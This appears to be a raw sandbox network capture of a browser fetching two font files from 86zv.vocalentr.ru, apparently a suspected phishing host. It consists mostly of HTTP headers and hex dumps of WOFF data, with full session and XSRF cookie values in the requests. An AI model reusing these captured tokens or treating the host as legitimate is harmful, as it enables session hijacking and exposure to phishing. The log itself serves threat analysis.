2025-04-01 05:40:11 UTC	1369	IN	Data Raw: c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 28 88 e9 61 21 f3 ca 66 a2 92 b8 04 af ef 77 01 2a 09 ff 91 f0 69 77 23 61 21 25 46 28 08 a1 1a b9 32 ee a4 7a 2c 43 f1 5d 0f d7 d9 65 89 90 f3 df f1 15 f0 d2 09 5d e7 95 37 00 18 28 22 e9 a2 1e b9 c0 9b ab 68 a3 79 74 d9 52 b7 93 7a dc 8b 03 36 d0 90 31 30 a2 22 39 30 0b e9 af c4 ac ee 1a a5 27 78 e5 94 89 1f 92 35 2f d0 e1 36 92 dc 13 cf 16 14 2d f4 74 a5 e6 a9 57 17 69 9d 9f 61 97 5b a0 ea 8a dd 0a 65 cc b0 71 0d 44 47 a3 1c 7c 10 58 24 97 38 21 0c 62 5b 68 70 c9 54 52 48 b1 b4 62 11 48 69 de 26 c2 4b bb 1b 92 67 61 05 df cc 2e 5d fc b1 d9 57 bf 1d 61 25 09 cc c4 e7 b3 02 52 Data Ascii: ,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy](a!fw*iw#a!%F(2z,C]e]7("hytRz610"90'x5/6-tWia[eqDG\|X$8!b[hpTRHbHi&Kga.]Wa%R
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 f6 0b 06 34 25 52 bf 52 4c 70 57 bf 97 33 c0 a8 71 9a 82 4d 81 d9 7c bc f7 d8 5f 66 46 0a 04 a5 9f 95 0f 3d fc 2f 17 3f 5e 43 fd 6c 6d e7 27 06 d3 df 98 97 6a 86 dc 2e 0c ba 71 ba ba 58 36 2e ce 5f 11 69 c0 a3 ae 38 d2 24 16 b8 20 50 cc fd 01 0f eb cb 42 75 0d 29 de 40 02 76 62 ac 0d d6 cc b6 42 3e f2 ed f1 93 3b 5f aa 81 90 71 ec ca ab 8a 73 b5 c4 68 3f 46 e1 c8 59 5d c2 3d da bf f9 eb 22 81 08 df 70 3e a9 f4 1e fe de 91 8e df 17 6f db e8 29 45 d2 10 bf 4e 8c 3d 28 54 f9 9c 6a 56 2d d4 f3 f9 8d 6f bb b1 5d 75 37 03 67 77 4b 0b 12 c2 6e 9b 97 47 5d ba be c7 ca 44 70 e6 80 2c 4f Data Ascii: B=}4P@0W\|}8WfjsY}DKMKmB4%RRLpW3qM\|_fF=/?^Clm'j.qX6._i8$ PBu)@vbB>;_qsh?FY]="p>o)EN=(TjV-o]u7gwKnG]Dp,O

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	1351	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Origin: https://86zv.vocalentr.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
2025-04-01 05:40:11 UTC	1164	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:11 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Tue, 01 Apr 2025 04:51:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=07S6dpMvug5D18yxj3RUW0utlmHnpKe4KRu9ZCbUqvc3rljBs9Ey4ERkb%2Flt5vQFXf4eDUHSrRaophsIxG3rwGGLT1bbJZY1FHhLIFnFTR9kat0rslAJS7TyM0njbo%2FMT2%2FQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10716&min_rtt=10574&rtt_var=4067&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2317&delivery_rate=269339&cwnd=252&unsent_bytes=0&cid=602f18f5802212c5&ts=40&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9295c0134d0a32d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=87180&min_rtt=86298&rtt_var=19531&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1923&delivery_rate=34354&cwnd=252&unsent_bytes=0&cid=b3b18e0ed7d3d2e2&ts=459&x=0"
2025-04-01 05:40:11 UTC	205	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspg
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 6c 79 66 00 00 21 74 00 00 52 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 Data Ascii: lyf!tRa$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 55 a5 a6 ac 70 bd 18 6d 4b 61 f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 Data Ascii: UpmKagdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)K
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: ba 5e 59 b5 2c 57 45 b2 ba 7a 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca Data Ascii: ^Y,WEzJv}6WA5UWTYscE/zzTDV%uY.7=b?TJ1\|l6sy5^%pZV^(T~sZ=F:kU"cVj(;[/:KaqRn[=su5}<tF
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 26 77 24 9b 3c 21 38 ce 39 b2 26 d3 ef 5b 11 3c e2 9a 86 f9 46 08 b3 69 51 5b a2 67 3b 98 79 83 3d 92 99 71 80 27 bb e1 39 ce 45 95 79 00 fd d6 20 bb 9e 2d 5e bd d6 7e 16 fb 48 48 eb 0b 58 d2 34 58 fe 1e 44 fa 0f 9c 67 7a a1 55 e2 09 ac aa d6 d6 2f f5 e2 57 5d 47 89 da 5e ac f2 60 37 11 32 76 a9 10 b5 b7 d1 75 43 63 84 95 74 8f ab d2 69 c3 f9 36 d7 95 9d 7d 3d d8 69 85 64 b8 fa 78 c2 d7 2f 41 5d 01 bc c3 1a 77 14 0e ab 36 aa 2c cd 6a fd 1a af d9 8e ad 90 92 f3 6e 4d 15 da 39 5c 74 0b 6f d3 5e d4 3e 3b 45 3c e8 65 af e6 76 b0 82 61 38 6b c4 a5 ed 46 6d 68 c5 6d d7 64 d1 b4 53 f4 b2 36 aa 65 06 6d 5b b3 bc c2 17 d2 bf 41 f4 d2 d3 c9 dc 9a 5a 7d 8d 95 3b 37 69 88 90 93 46 91 5e eb fb 54 f8 f5 70 ef 13 72 ad ef 9d b1 6c 34 e8 ba 57 d1 d1 7b 38 f4 f2 4b fe bc Data Ascii: &w$<!89&[<FiQ[g;y=q'9Ey -^~HHX4XDgzU/W]G^`72vuCcti6}=idx/A]w6,jnM9\to^>;E<eva8kFmhmdS6em[AZ};7iF^Tprl4W{8K
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 8a 1e 6b 12 76 92 67 f5 a6 47 1e d1 09 8c 06 3d 36 90 e0 89 04 77 5a a0 29 be c7 01 b2 ae ec 19 98 db 38 17 8c 8f 02 13 30 c7 1f c8 3c 6d f8 a1 c0 dd 1d c0 8f 2c 78 c0 81 49 0e fc ad b6 db 51 2d 07 e8 fb 74 9f ec b7 03 ee a2 ef c9 de 15 56 aa 7d 77 02 7c c6 1d e8 79 87 40 7f ba 04 b6 3b 11 d0 03 b1 f4 bb c8 5a b2 2d 9f dc 0d f1 43 ff ff 25 9f 44 95 51 80 6b c8 fe 1a dd de 7a ba ce af a4 cb 71 1c 43 ee ef 5a ed d8 fb 1d 39 de 61 e1 cd 92 bf 0c d0 11 b2 37 6c ee 25 89 0f e3 24 17 60 c9 05 52 e4 6d 60 0a 28 e8 86 76 9d 35 a5 58 90 0a f8 0e 28 ed 81 27 d2 00 a9 d0 c2 74 e8 5b 86 fc 37 ad 9e 80 ef 42 93 7a c1 7a 7b 03 0c 68 57 1f 3c 95 85 67 58 32 b0 54 cc b5 2f 66 a5 df 0f dd 2b de eb 52 58 cf 48 b4 8e 02 8f 52 20 c5 07 70 fc 67 fa 29 f0 3e 41 4f e3 fc 97 80 Data Ascii: kvgG=6wZ)80<m,xIQ-tV}w\|y@;Z-C%DQkzqCZ9a7l%$`Rm`(v5X('t[7Bzz{hW<gX2T/f+RXHR pg)>AO
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 72 8b db dc e1 ae 34 71 9f 1a 1e 88 cb 70 1e 8a 5b b4 91 7a f1 f6 84 97 e2 ae 91 57 62 e7 35 6f c5 ce 7b 3e 88 9d 26 fd 92 a5 83 6f e2 e7 bb 89 20 c5 78 4c 2c 79 26 ce 64 eb 35 6d bb 8c 6a b5 81 ae 5a 4c 95 dd f8 5b bf 71 47 f1 77 36 5e d5 2e 9e de b2 4f ed d1 63 6a b4 fd 60 53 6d ed 23 53 fd 9f 4a db b2 ee 2b 1a a3 2c d7 3e 53 96 5b f1 6a 9b 32 f4 1a 87 02 d3 d5 aa 37 92 fa bf 74 81 bb 45 00 00 00 78 da 63 60 66 99 c6 1c c4 c0 ca c0 c2 6a cc 72 86 81 81 61 26 84 66 02 e1 08 06 54 c0 8e cc 71 73 74 f3 07 52 0a bf 59 d8 72 fe e5 30 9c e0 d8 c7 e4 a5 c0 c0 30 19 24 c7 fc 82 2d 07 24 c7 c0 0c 00 39 34 0c f8 00 00 78 da 8d 95 09 94 4e 65 1c c6 7f cf 9d 45 a1 6c 61 b2 5c 77 3e 4c a4 84 8c ad 45 cb 0c 2a 29 a4 42 34 4a cb 90 f6 4c 08 63 8b 12 c3 60 b4 20 23 86 Data Ascii: r4qp[zWb5o{>&o xL,y&d5mjZL[qGw6^.Ocj`Sm#SJ+,>S[j27tExc`fjra&fTqstRYr00$-$94xNeEla\w>LE*)B4JLc` #
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 9f 91 10 5d ca c2 1c 63 b3 84 db 4c fb b7 2b d9 6b b4 2e d0 5b ea 61 fc 6e 33 2a 9b 6a 9f 91 fb a1 76 29 dd e8 3d 68 7f ff b0 8e a8 c0 c8 5e 64 df de 60 4c cd 32 ee f7 2b 5f 4b b5 dd 4e 9f 44 23 7b ba ed 44 1b d7 43 4b fc ab 97 35 b9 b4 7f 25 9d dc a2 03 c6 dd 5c ed d6 db 76 5a 8d 26 9f 83 d6 d3 24 eb f0 48 ed b5 2c e8 6a 89 d0 dd 72 a0 8c ff be a5 ec 63 19 50 42 fd 24 96 ab 97 79 ac 5f b9 df e2 d4 d3 3c 77 f7 ef a7 1d ba 82 00 00 78 da d4 bd 77 60 d3 c7 d9 38 7e f7 19 92 bc 2d cb f2 5e b2 6c cb 03 4f 59 96 b7 85 59 5e 18 4f 8c 07 78 63 63 1b 63 f6 0e 7b 86 04 08 64 11 c8 24 94 24 84 52 56 48 02 21 4d 9a 84 b6 d0 bc 0d 6d da a6 49 9a b6 69 4a 1a d2 b7 ed eb 24 2d 58 1f ff 9e bb cf b0 2c 5b 49 fb be df 7f 7e 06 5b d2 e9 b9 fb 3c f7 dc 73 cf ba e7 ee 10 83 Data Ascii: ]cL+k.[an3*jv)=h^d`L2+_KND#{DCK5%\vZ&$H,jrcPB$y_<wxw`8~-^lOYY^Oxccc{d$$RVH!MmIiJ$-X,[I~[<s
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 92 69 b1 01 93 ff d0 5f 7c 96 39 83 cb ec 37 98 22 e1 4d a1 46 f8 13 e9 74 26 73 dd fe f6 c8 79 e6 71 e1 f7 c2 16 68 58 e2 4f 6f 78 cb a3 60 5b 80 dc 77 a6 09 ba e4 c3 00 19 7d 59 68 96 d0 10 b8 5c 60 5a 46 4e f0 3b ef f6 fd 4d ac a7 aa a4 f3 15 c6 c0 5d cd 00 52 b8 0c d3 31 00 04 69 6d 3f 3f ad 9f c4 d5 80 14 41 c9 08 88 9d c7 6d 78 31 fc 6b 1b 16 8e dd 16 8e 0d 43 83 cf 71 0d 77 d6 71 d1 77 3f 26 bf 12 4e 5f d3 39 13 61 0b 55 43 63 4a d3 2c 16 5b 86 86 39 75 10 20 86 c9 d8 92 56 47 99 39 c3 82 fd 0c 34 37 12 cd 7e 7c 67 1d fb bb 11 03 91 2b 64 be 3c 0f f3 45 87 4c 28 d9 96 08 2c 2d 71 38 0f 4d 29 12 4f ef 8f 51 64 b8 bf 49 6f 02 c6 86 61 53 d1 61 8b 19 93 7a 92 9c 31 51 29 93 c2 c8 3c ce 32 a7 85 d1 ef d5 d4 7c 0f e3 d3 a7 31 26 ef 84 d1 d3 4b 9f ec 48 Data Ascii: i_\|97"MFt&syqhXOox`[w}Yh\`ZFN;M]R1im??Amx1kCqwqw?&N_9aUCcJ,[9u VG947~\|g+d<EL(,-q8M)OQdIoaSaz1Q)<2\|1&KH
2025-04-01 05:40:11 UTC	1369	IN	Data Raw: 20 b8 03 02 2d 63 74 8c 75 52 7a dc 89 fa ff da 75 5a 10 4e d6 d4 9c c4 cc e9 3d ef 55 8f d9 bf 77 4e 38 29 bf c3 f5 b5 63 72 7b 6e ed 83 9f 09 4f fc 19 48 fe de 04 f5 07 d6 17 f5 dd 54 3f 47 01 28 1a c5 a2 42 5b 9e 9e 07 9d 4b d9 81 f8 55 9d 30 b1 11 56 a1 0e 0d 78 55 e0 5b 81 03 43 2c a0 a0 40 04 86 69 44 58 60 74 50 34 54 0d 88 d7 6a dd 80 b1 45 9f 2e 4e 12 96 a2 8f 85 25 19 4e 84 66 00 b8 7b 5c 80 e4 ea f9 a6 e7 c6 14 d6 a5 a6 d6 15 c5 59 53 18 ad 7d 20 39 db 92 36 25 2b 27 09 3c 40 ea fd a5 84 77 e5 a7 d6 17 c6 18 0b eb d2 f3 db c3 ee fc 8c df 95 9b 9c 60 b5 26 24 e7 0a 8f 88 7e 21 f8 9e 42 25 bf 0f 78 39 04 85 a3 e9 b6 a9 81 98 63 40 41 72 4c 99 b7 0a 0c eb 52 b0 b1 30 c3 e3 0e aa 73 c8 24 24 dc 0c 76 38 4c ca 50 22 11 c3 c3 f4 3a 2f 4f 0f 77 37 0d Data Ascii: -ctuRzuZN=UwN8)cr{nOHT?G(B[KU0VxU[C,@iDX`tP4TjE.N%Nf{\YS} 96%+'<@w`&$~!B%x9c@ArLR0s$$v8LP":/Ow7

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:40:11 UTC	1355	OUT	GET /GDSherpa-regular.woff2 HTTP/1.1 Host: 86zv.vocalentr.ru Connection: keep-alive Origin: https://86zv.vocalentr.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Im9Ec3VueUZ1L2xOZk40cFVQYWhIZGc9PSIsInZhbHVlIjoiSjV3S0xJdzZ5ZFJENC9DVGljRDhsZW9rUE5sTXVZR0hMUHJHb2ZtUzkycXJHU2wvdFFtdFhwK2hvenQzaVgwVkJLckJFdXZsd01yVUJzY2hhMXovOG9Dc25iSXRQa1VDbFYwc1owMGkrRTZIaVZnUFdYenNYQnJaanpuQVR1Y3oiLCJtYWMiOiIxN2Q0NjYxMGFkZGUzN2UzMjczOWMyNWFlYmVkOWM0YjMzZjgwZTg0OWQzYTE4YWJlMjc4OTVlMDAzNzcxZDNmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYwUzUyOHBPZ2RBcldtcXdyS0l5aHc9PSIsInZhbHVlIjoiaS90ZHlING9CMGhPQ1NxVlNiMmlGK1VUc0F3cjh3TGl5cDZwVEt6SXZsQWZab1U1QU5ma0djZGxBdUJCa1VEK0h6YUhPL2VCRkM3Qjlra3JHUWlhUEVCQkJtc280MVowR2pGVEVVUCtMNVR3MFBJcFVKRGNDRE5ERDNzUFlnV2wiLCJtYWMiOiI0NjdmODdmYzRhZGJlMDFhMzE1ZjE2N2NjMzYzZmIxMzQ0NWQyYmI1MDhlMWJiYzEyNjM2MDJlMjY0ZDY3YmZkIiwidGFnIjoiIn0%3D
2025-04-01 05:40:12 UTC	1172	IN	HTTP/1.1 200 OK Date: Tue, 01 Apr 2025 05:40:12 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="GDSherpa-regular.woff2" Last-Modified: Tue, 01 Apr 2025 05:40:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sgY7IHvR7ph95fq5nEwtj%2BZekHp97ajFVF85P1mO5IFXmBOR2cEykzxAnavn2RQTdDs2Wv6zkdE%2F0cHonqUrrnPBkvW%2Bz9QnqyHqvG6BnWuwuoIOEzqEg3K%2BjrS7lp2GMTcZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10228&min_rtt=10216&rtt_var=3839&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2321&delivery_rate=278778&cwnd=230&unsent_bytes=0&cid=d173527dc5f436cc&ts=422&x=0" Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Accept-Ranges: bytes Server: cloudflare CF-RAY: 9295c0134f234217-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=86530&min_rtt=85543&rtt_var=19534&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1927&delivery_rate=34512&cwnd=252&unsent_bytes=0&cid=4da7f6fd4b9b320f&ts=839&x=0"
2025-04-01 05:40:12 UTC	197	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCww*eUS0Ss,\eF&o
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 d9 8c a2 1d 9b a8 70 25 87 11 46 eb 65 fa 72 22 79 47 8c bc e1 0d 8b 92 c1 66 b3 4d 33 f2 5d 18 55 1b 70 f3 a0 b7 1c 8d 45 19 a1 3c 9d cb 3a e4 db 6a 81 9b 45 b7 f8 c1 e1 b0 ec a7 c9 b6 74 91 bb 98 ef 21 c7 16 ca bf a1 7e 61 b5 c0 03 4a fd 6d 98 ee 1c 94 66 e3 82 64 a7 65 45 ac c3 bb 3e d4 3a f4 39 85 0a fc c7 d9 99 2c 36 4b 7b e8 71 b2 15 36 65 b8 17 34 3a 7a b4 e5 d3 ff 7f d5 b4 7b ef 7b ef ff 0f 80 24 86 93 20 8a 94 9c 42 1a 83 d4 e6 39 3a 30 c6 47 0b 8d 36 e4 39 52 d3 b9 dc 14 bb 6d d7 a5 aa 6a 43 57 ac 6d 10 5d 3a 7b f7 70 e0 8f 3f 50 eb 4f 91 42 fa c8 45 cc b6 01 dd c4 75 9a 4a Data Ascii: U*R}QC2TD5#hH2\|<1z]xZzzWp%Fer"yGfM3]UpE<:jEt!~aJmfdeE>:9,6K{q6e4:z{{$ B9:0G69RmjCWm]:{p?POBEuJ
2025-04-01 05:40:12 UTC	1369	IN	Data Raw: 81 06 13 5c a8 51 a7 45 87 2e 3d 36 9c 38 db 5f 95 2a 35 3a 74 eb b1 d7 7e 07 1c 72 8a dc a0 f3 2e bb ea 1a 85 5b be e1 b7 ae 45 16 a7 97 a6 97 a7 d7 a7 b7 df df f6 d1 c7 9f 7c fa d9 e7 5f 7c f9 d5 d7 df 7c db 5d f7 bd 64 0f 0c 27 26 a7 a6 47 33 b3 fb f6 1f 38 78 68 6e 71 69 79 65 75 6d fd e4 a9 b3 e3 8d 73 e7 af 5e bf 79 ef fe 83 87 8f b6 1e 3f f9 f3 9f 58 9a 82 86 1f 14 46 8a 40 1a 1b 7a 01 35 e4 a7 cb 42 c2 8c cb 67 c9 7e 38 c8 2a 82 f2 62 14 42 0d 1b 75 31 c1 78 4a 5e bf 2c 2b 6d 8b 27 04 9e 3e 6d e9 7b 86 76 fb 60 50 1b 34 94 88 22 33 51 bc a1 68 24 f2 32 83 65 61 3f 18 48 15 94 c8 55 27 f2 4b de c9 51 8a dc 48 4d a6 31 ea c4 68 65 e5 5d b1 81 46 26 93 b0 07 f7 31 7a 10 ab d2 82 1f 29 0c 97 2c 1d f4 28 5a 41 13 73 52 90 c2 af a0 ce 1d c8 91 f5 2a 07 Data Ascii: \QE.=68_5:t~r.[E\|_\|\|]d'&G38xhnqiyeums^y?XF@z5Bg~8bBu1xJ^,+m'>m{v`P4"3Qh$2ea?HU'KQHM1he]F&1z),(ZAsR*
